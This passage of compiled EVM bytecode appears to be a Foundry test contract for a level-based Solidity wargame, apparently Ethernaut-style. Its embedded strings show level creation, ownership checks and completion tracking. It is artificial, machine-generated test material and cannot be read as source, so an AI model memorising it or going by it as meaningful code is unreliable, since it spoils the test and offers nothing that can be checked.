d5ffd5b5050601e546040516364416be160e11b81526001600160a01b038581166004830152610100909204909116925063c882d7c291506024015f604051808303815f87803b15801562001ea5575f80fd5b505af115801562001eb8573d5f803e3d5ffd5b505050505050565b60606019805480602002602001604051908101604052809291908181526020015f905b82821015620009ad578382905f5260205f2001805462001f03906200307e565b80601f016020809104026020016040519081016040528092919081815260200182805462001f31906200307e565b801562001f805780601f1062001f565761010080835404028352916020019162001f80565b820191905f5260205f20905b81548152906001019060200180831162001f6257829003601f168201915b50505050508152602001906001019062001ee3565b6008545f9060ff161562001fad575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa1580156200203c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620020629190620032e0565b1415905090565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620020c0575f80fd5b505af1158015620020d3573d5f803e3d5ffd5b505050505f604051620020e69062002c5f565b604051809103905ff08015801562002100573d5f803e3d5ffd5b50601e5460405163080808f560e21b81526001600160a01b0380841660048301529293506101009091049091169063202023d4906024015f604051808303815f87803b1580156200214f575f80fd5b505af115801562002162573d5f803e3d5ffd5b505050505f805160206200cdf28339815191525f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620021af575f80fd5b505af1158015620021c2573d5f803e3d5ffd5b50506021546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200221d575f80fd5b505af115801562002230573d5f803e3d5ffd5b5050601f5460405163f3a3990960e01b81526001600160a01b0385811660048301526200226c9450909116915063f3a399099060240162000bb4565b5f805160206200cdf28339815191525f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620022b5575f80fd5b505af1158015620022c8573d5f803e3d5ffd5b5050601e5460405163dfc86b1760e01b81526001600160a01b038581166004830152610100909204909116925063dfc86b1791506024015f604051808303815f87803b15801562002317575f80fd5b505af11580156200232a573d5f803e3d5ffd5b505050505f5f805160206200cdf28339815191525f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af11580156200237c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052620023a5919081019062003164565b90505f815f81518110620023bd57620023bd6200306a565b60200260200101515f0151600281518110620023dd57620023dd6200306a565b6020908102919091010151604051631ea3e8e760e31b81526001600482015290915081906001600160a01b0382169063f51f4738906024015f604051808303815f87803b1580156200242d575f80fd5b505af115801562002440573d5f803e3d5ffd5b5050505062002485816001600160a01b0316639d9a7fe96040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000bd0573d5f803e3d5ffd5b601f5460215460405163e2d8716f60e01b81526001600160a01b0391821660048201528682166024820152620024c992919091169063e2d8716f9060440162000e29565b601e546040516364416be160e11b81526001600160a01b0384811660048301526101009092049091169063c882d7c2906024015f604051808303815f87803b15801562002514575f80fd5b505af115801562002527573d5f803e3d5ffd5b5050601f5460215460405163e2d8716f60e01b81526001600160a01b039182166004820152888216602482015262000ee994509116915063e2d8716f9060440162000bb4565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620025c4575f80fd5b505af1158015620025d7573d5f803e3d5ffd5b505050505f604051620025ea9062002c5f565b604051809103905ff08015801562002604573d5f803e3d5ffd5b50601e5460405163080808f560e21b81526001600160a01b0380841660048301529293506101009091049091169063202023d4906024015f604051808303815f87803b15801562002653575f80fd5b505af115801562002666573d5f803e3d5ffd5b505050505f805160206200cdf28339815191525f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620026b3575f80fd5b505af1158015620026c6573d5f803e3d5ffd5b50506021546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562002721575f80fd5b505af115801562002734573d5f803e3d5ffd5b5050601f5460405163f3a3990960e01b81526001600160a01b038581166004830152620027709450909116915063f3a399099060240162000bb4565b5f805160206200cdf28339815191525f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620027b9575f80fd5b505af1158015620027cc573d5f803e3d5ffd5b5050601e5460405163dfc86b1760e01b81526001600160a01b038581166004830152610100909204909116925063dfc86b1791506024015f604051808303815f87803b1580156200281b575f80fd5b505af11580156200282e573d5f803e3d5ffd5b505050505f5f805160206200cdf28339815191525f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562002880573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052620028a9919081019062003164565b90505f815f81518110620028c157620028c16200306a565b60200260200101515f0151600281518110620028e157620028e16200306a565b6020908102919091010151604051631ea3e8e760e31b81526001600482015290915081906001600160a01b0382169063f51f4738906024015f604051808303815f87803b15801562002931575f80fd5b505af115801562002944573d5f803e3d5ffd5b5050505062002989816001600160a01b0316639d9a7fe96040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000bd0573d5f803e3d5ffd5b5f805160206200cdf28339815191525f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620029d2575f80fd5b505af1158015620029e5573d5f803e3d5ffd5b50506022546040517fca669fa70000000000000000000000000000000000000000000000000000000081526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d925063ca669fa791506024015f604051808303815f87803b15801562002a59575f80fd5b505af115801562002a6c573d5f803e3d5ffd5b505060405163f28dceb360e01b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e742075736572000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d925063f28dceb39150608401620015d7565b606060158054806020026020016040519081016040528092919081815260200182805480156200086457602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000845575050505050905090565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562002bc1575f80fd5b505afa15801562000805573d5f803e3d5ffd5b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162002baa565b6153f880620032f983390190565b610ae580620086f183390190565b611e7a80620091d683390190565b610daa806200b05083390190565b61053e806200bdfa83390190565b6107f7806200c33883390190565b6102c3806200cb2f83390190565b602080825282518282018190525f9190848201906040850190845b8181101562002ccb5783516001600160a01b03168352928401929184019160010162002ca4565b50909695505050505050565b5f5b8381101562002cf357818101518382015260200162002cd9565b50505f910152565b5f602080830181845280855180835260408601915060408160051b87010192508387015f5b8281101562002dcc57603f19888603018452815180516001600160a01b0316865286015160408787018190528151908701819052908701906060600582901b8801810191908801905f5b8181101562002db457898403605f190183528451805180865262002d94818e88018f850162002cd7565b958c0195601f01601f1916949094018b019350918a019160010162002d6a565b50919750505093860193509085019060010162002d20565b5092979650505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562002e9857888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562002e825783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062002e3e565b5096890196945050509086019060010162002e00565b509098975050505050505050565b5f602080830181845280855180835260408601915060408160051b87010192508387015f5b8281101562002dcc57878503603f190184528151805180875262002ef5818989018a850162002cd7565b601f01601f19169590950186019450928501929085019060010162002ecb565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562002f4f5762002f4f62002f15565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562002f815762002f8162002f15565b604052919050565b5f67ffffffffffffffff82111562002fa55762002fa562002f15565b5060051b60200190565b6001600160a01b0381168114620019f9575f80fd5b5f602080838503121562002fd6575f80fd5b825167ffffffffffffffff81111562002fed575f80fd5b8301601f8101851362002ffe575f80fd5b8051620030156200300f8262002f89565b62002f55565b81815260059190911b8201830190838101908783111562003034575f80fd5b928401925b828410156200305f5783516200304f8162002faf565b8252928401929084019062003039565b979650505050505050565b634e487b7160e01b5f52603260045260245ffd5b600181811c908216806200309357607f821691505b602082108103620030b257634e487b7160e01b5f52602260045260245ffd5b50919050565b5f60208284031215620030c9575f80fd5b81518015158114620030d9575f80fd5b9392505050565b5f82601f830112620030f0575f80fd5b815167ffffffffffffffff8111156200310d576200310d62002f15565b62003122601f8201601f191660200162002f55565b81815284602083860101111562003137575f80fd5b6200314a82602083016020870162002cd7565b949350505050565b80516200315f8162002faf565b919050565b5f602080838503121562003176575f80fd5b825167ffffffffffffffff808211156200318e575f80fd5b818501915085601f830112620031a2575f80fd5b8151620031b36200300f8262002f89565b81815260059190911b83018401908481019088831115620031d2575f80fd5b8585015b83811015620032d357805185811115620031ee575f80fd5b86016060818c03601f1901121562003204575f80fd5b6200320e62002f29565b88820151878111156200321f575f80fd5b8201603f81018d1362003230575f80fd5b89810151620032436200300f8262002f89565b81815260059190911b8201604001908b8101908f83111562003263575f80fd5b6040840193505b82841015620032855783518252928c0192908c01906200326a565b84525050506040820151878111156200329c575f80fd5b620032ac8d8b83860101620030e0565b8a83015250620032bf6060830162003152565b6040820152845250918601918601620031d6565b5098975050505050505050565b5f60208284031215620032f1575f80fd5b505191905056fe600c8054600160ff1991821681178355601e80549092161790556b75736572206164647265737360a01b60a05260805260ac6040527ffadd6953a0436e85528ded789af2e2b7e57c1cd7c68c5c3796d8ea67e0018db7601f55348015610063575f80fd5b50615387806100715f395ff3fe608060405234801562000010575f80fd5b506004361062000148575f3560e01c806385db81cc11620000bb578063b90a68fa1162000087578063e20c9f71116200006b578063e20c9f7114620002b0578063f82de7b014620002ba578063fa7626d414620002d3575f80fd5b8063b90a68fa1462000279578063ba414fa614620002a6575f80fd5b806385db81cc1462000226578063916a17c6146200023d5780639b59adbc1462000247578063b5508aa9146200026f575f80fd5b80633e5e3c23116200011757806366d9a9a011620000fb57806366d9a9a014620001dd578063792e11f514620001f657806385226c81146200020d575f80fd5b80633e5e3c2314620001c95780633f7286f414620001d3575f80fd5b80631c7db669146200014c5780631ed7831c14620001805780632356661a14620001995780632ade388014620001b0575b5f80fd5b620001636200015d36600462001364565b620002e1565b6040516001600160a01b0390911681526020015b60405180910390f35b6200018a620004ab565b604051620001779190620013a7565b62000163620001aa36600462001493565b6200050d565b620001ba620006d8565b60405162000177919062001566565b6200018a62000820565b6200018a62000880565b620001e7620008e0565b60405162000177919062001629565b6200018a62000207366004620016f6565b620009da565b6200021762000b6a565b6040516200017791906200170e565b620001636200023736600462001774565b62000c3f565b620001e762000d5e565b6200025e6200025836600462001792565b62000e58565b604051901515815260200162000177565b6200021762000fe8565b601f8054604080516020808201849052825180830382018152918301909252805191012090915562000163565b6200025e620010bd565b6200018a62001191565b620002d1620002cb366004620016f6565b620011f1565b005b601e546200025e9060ff1681565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200033d575f80fd5b505af115801562000350573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620003b0575f80fd5b505af1158015620003c3573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000428573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200045191908101906200185b565b90508060018251620004649190620019eb565b8151811062000477576200047762001a01565b60200260200101515f015160028151811062000497576200049762001a01565b60200260200101515f1c9150509392505050565b606060168054806020026020016040519081016040528092919081815260200182805480156200050357602002820191905f5260205f20905b81546001600160a01b03168152600190910190602001808311620004e4575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa1580156200056d573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000596919081019062001a15565b90505f818485604051602001620005af92919062001a67565b60408051601f1981840301815290829052620005cf929160200162001b15565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb11906200063390859060040162001b47565b5f60405180830381865afa1580156200064e573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000677919081019062001a15565b90505f620006c46040518060400160405280601081526020017f2e62797465636f64652e6f626a65637400000000000000000000000000000000815250836200128090919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000817575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b82821015620007ff578382905f5260205f200180546200076d9062001b5b565b80601f01602080910402602001604051908101604052809291908181526020018280546200079b9062001b5b565b8015620007ea5780601f10620007c057610100808354040283529160200191620007ea565b820191905f5260205f20905b815481529060010190602001808311620007cc57829003601f168201915b5050505050815260200190600101906200074d565b505050508152505081526020019060010190620006fb565b50505050905090565b606060188054806020026020016040519081016040528092919081815260200182805480156200050357602002820191905f5260205f209081546001600160a01b03168152600190910190602001808311620004e4575050505050905090565b606060178054806020026020016040519081016040528092919081815260200182805480156200050357602002820191905f5260205f209081546001600160a01b03168152600190910190602001808311620004e4575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000817575f8481526020908190206040805180820182526002860290920180546001600160a01b03168352600181018054835181870281018701909452808452939491938583019392830182828015620009c157602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190600401906020826003010492830192600103820291508084116200096d5790505b5050505050815250508152602001906001019062000903565b60605f8267ffffffffffffffff811115620009f957620009f9620013f5565b60405190808252806020026020018201604052801562000a23578160200160208202803683370190505b5090505f5b8381101562000b63575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000a70573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000a96919062001b95565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562000b14575f80fd5b505af115801562000b27573d5f803e3d5ffd5b505050508083838151811062000b415762000b4162001a01565b6001600160a01b03909216602092830291909101909101525060010162000a28565b5092915050565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000817578382905f5260205f2001805462000bad9062001b5b565b80601f016020809104026020016040519081016040528092919081815260200182805462000bdb9062001b5b565b801562000c2a5780601f1062000c005761010080835404028352916020019162000c2a565b820191905f5260205f20905b81548152906001019060200180831162000c0c57829003601f168201915b50505050508152602001906001019062000b8d565b5f8060405162000c4f9062001322565b604051809103905ff08015801562000c69573d5f803e3d5ffd5b5090505f60405162000c7b9062001330565b604051809103905ff08015801562000c95573d5f803e3d5ffd5b50848360405162000ca6906200133e565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff08015801562000ce0573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b15801562000d3f575f80fd5b505af115801562000d52573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000817575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000e3f57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000deb5790505b5050505050815250508152602001906001019062000d81565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562000eb4575f80fd5b505af115801562000ec7573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b15801562000f25575f80fd5b505af115801562000f38573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000f9c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000fc591908101906200185b565b905060018151111562000fdd57600191505062000fe2565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000817578382905f5260205f200180546200102b9062001b5b565b80601f0160208091040260200160405190810160405280929190818152602001828054620010599062001b5b565b8015620010a85780601f106200107e57610100808354040283529160200191620010a8565b820191905f5260205f20905b8154815290600101906020018083116200108a57829003601f168201915b5050505050815260200190600101906200100b565b6008545f9060ff1615620010d5575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa15801562001164573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200118a919062001bb3565b1415905090565b606060158054806020026020016040519081016040528092919081815260200182805480156200050357602002820191905f5260205f209081546001600160a01b03168152600190910190602001808311620004e4575050505050905090565b5f620011fe824362001bcb565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b15801562001265575f80fd5b505af115801562001278573d5f803e3d5ffd5b505050505050565b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be890620012d7908690869060040162001be1565b5f60405180830381865afa158015620012f2573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200131b919081019062001c12565b9392505050565b610ae58062001c4983390190565b611e7a806200272e83390190565b610daa80620045a883390190565b6001600160a01b038116811462001361575f80fd5b50565b5f805f6060848603121562001377575f80fd5b833562001384816200134c565b9250602084013562001396816200134c565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b81811015620013e95783516001600160a01b031683529284019291840191600101620013c2565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff811182821017156200142f576200142f620013f5565b60405290565b604051601f8201601f1916810167ffffffffffffffff81118282101715620014615762001461620013f5565b604052919050565b5f67ffffffffffffffff821115620014855762001485620013f5565b50601f01601f191660200190565b5f60208284031215620014a4575f80fd5b813567ffffffffffffffff811115620014bb575f80fd5b8201601f81018413620014cc575f80fd5b8035620014e3620014dd8262001469565b62001435565b818152856020838501011115620014f8575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b838110156200153157818101518382015260200162001517565b50505f910152565b5f81518084526200155281602086016020860162001515565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b848110156200161a57603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b818110156200160357605f19888503018352620015f084865162001539565b948d01949350918c0191600101620015d1565b50505096890196935050908701906001016200158b565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b83811015620016e857888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b80831015620016d25783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a01906200168e565b5096890196945050509086019060010162001650565b509098975050505050505050565b5f6020828403121562001707575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b828110156200176757603f198886030184526200175485835162001539565b9450928501929085019060010162001735565b5092979650505050505050565b5f6020828403121562001785575f80fd5b81356200131b816200134c565b5f8060408385031215620017a4575f80fd5b8235620017b1816200134c565b91506020830135620017c3816200134c565b809150509250929050565b5f67ffffffffffffffff821115620017ea57620017ea620013f5565b5060051b60200190565b5f62001804620014dd8462001469565b905082815283838301111562001818575f80fd5b6200131b83602083018462001515565b5f82601f83011262001838575f80fd5b6200131b83835160208501620017f4565b805162001856816200134c565b919050565b5f60208083850312156200186d575f80fd5b825167ffffffffffffffff8082111562001885575f80fd5b818501915085601f83011262001899575f80fd5b8151620018aa620014dd82620017ce565b81815260059190911b83018401908481019088831115620018c9575f80fd5b8585015b83811015620019ca57805185811115620018e5575f80fd5b86016060818c03601f19011215620018fb575f80fd5b6200190562001409565b888201518781111562001916575f80fd5b8201603f81018d1362001927575f80fd5b898101516200193a620014dd82620017ce565b81815260059190911b8201604001908b8101908f8311156200195a575f80fd5b6040840193505b828410156200197c5783518252928c0192908c019062001961565b845250505060408201518781111562001993575f80fd5b620019a38d8b8386010162001828565b8a83015250620019b66060830162001849565b6040820152845250918601918601620018cd565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111562000fe25762000fe2620019d7565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121562001a26575f80fd5b815167ffffffffffffffff81111562001a3d575f80fd5b8201601f8101841362001a4e575f80fd5b62001a5f84825160208401620017f4565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f835162001aa081600585016020880162001515565b7f2e736f6c2f000000000000000000000000000000000000000000000000000000600591840191820152835162001adf81600a84016020880162001515565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f835162001b2881846020880162001515565b83519083019062001b3e81836020880162001515565b01949350505050565b602081525f6200131b602083018462001539565b600181811c9082168062001b7057607f821691505b60208210810362001b8f57634e487b7160e01b5f52602260045260245ffd5b50919050565b5f6020828403121562001ba6575f80fd5b81516200131b816200134c565b5f6020828403121562001bc4575f80fd5b5051919050565b8082018082111562000fe25762000fe2620019d7565b604081525f62001bf5604083018562001539565b828103602084015262001c09818562001539565b95945050505050565b5f6020828403121562001c23575f80fd5b815167ffffffffffffffff81111562001c3a575f80fd5b62001a5f848285016200182856fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e602052604